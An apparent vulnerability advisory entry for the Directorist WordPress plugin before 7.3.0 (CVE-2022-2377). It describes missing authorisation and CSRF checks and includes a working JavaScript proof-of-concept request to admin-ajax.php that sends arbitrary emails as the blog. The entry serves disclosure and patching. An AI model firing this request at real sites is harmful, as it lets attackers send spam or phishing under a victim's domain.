Lucene search
Krzysztof ZającWPEX-ID:F4E606E9-0664-42FB-A59B-21DE306EB530HistoryJul 26, 2022 - 12:00 a.m.
Directorist < 7.3.0 - Subscriber+ Arbitrary E-mail Sending
2022-07-2600:00:00
Krzysztof Zając
69
directorist 7.3.0
subscriber+ arbitrary
e-mail sending
admin-ajax.php
content-type
post method
exploit
EPSS
0.001
Percentile
21.2%
The plugin does not have authorisation and CSRF checks in an AJAX action, allowing any authenticated users to send arbitrary emails on behalf of the blog
fetch("/wp-admin/admin-ajax.php", {
"headers": {
"content-type": "application/x-www-form-urlencoded",
},
"method": "POST",
"body": "action=atbdp_send_announcement&[email protected]&subject=subject&message=content&send_to_email=1",
"credentials": "include"
}).then(response => response.text())
.then(data => console.log(data));Related
nvd
nvd
CVE-2022-2377
2022-08-22 15:15:14
patchstack
patchstack
cvelist
cvelist
CVE-2022-2377 Directorist < 7.3.0 - Subscriber+ Arbitrary E-mail Sending
2022-08-22 15:02:09
cve
cve
CVE-2022-2377
2022-08-22 15:15:14
wpvulndb
wpvulndb
Directorist < 7.3.0 - Subscriber+ Arbitrary E-mail Sending
2022-07-26 00:00:00
prion
prion
Cross site request forgery (csrf)
2022-08-22 15:15:00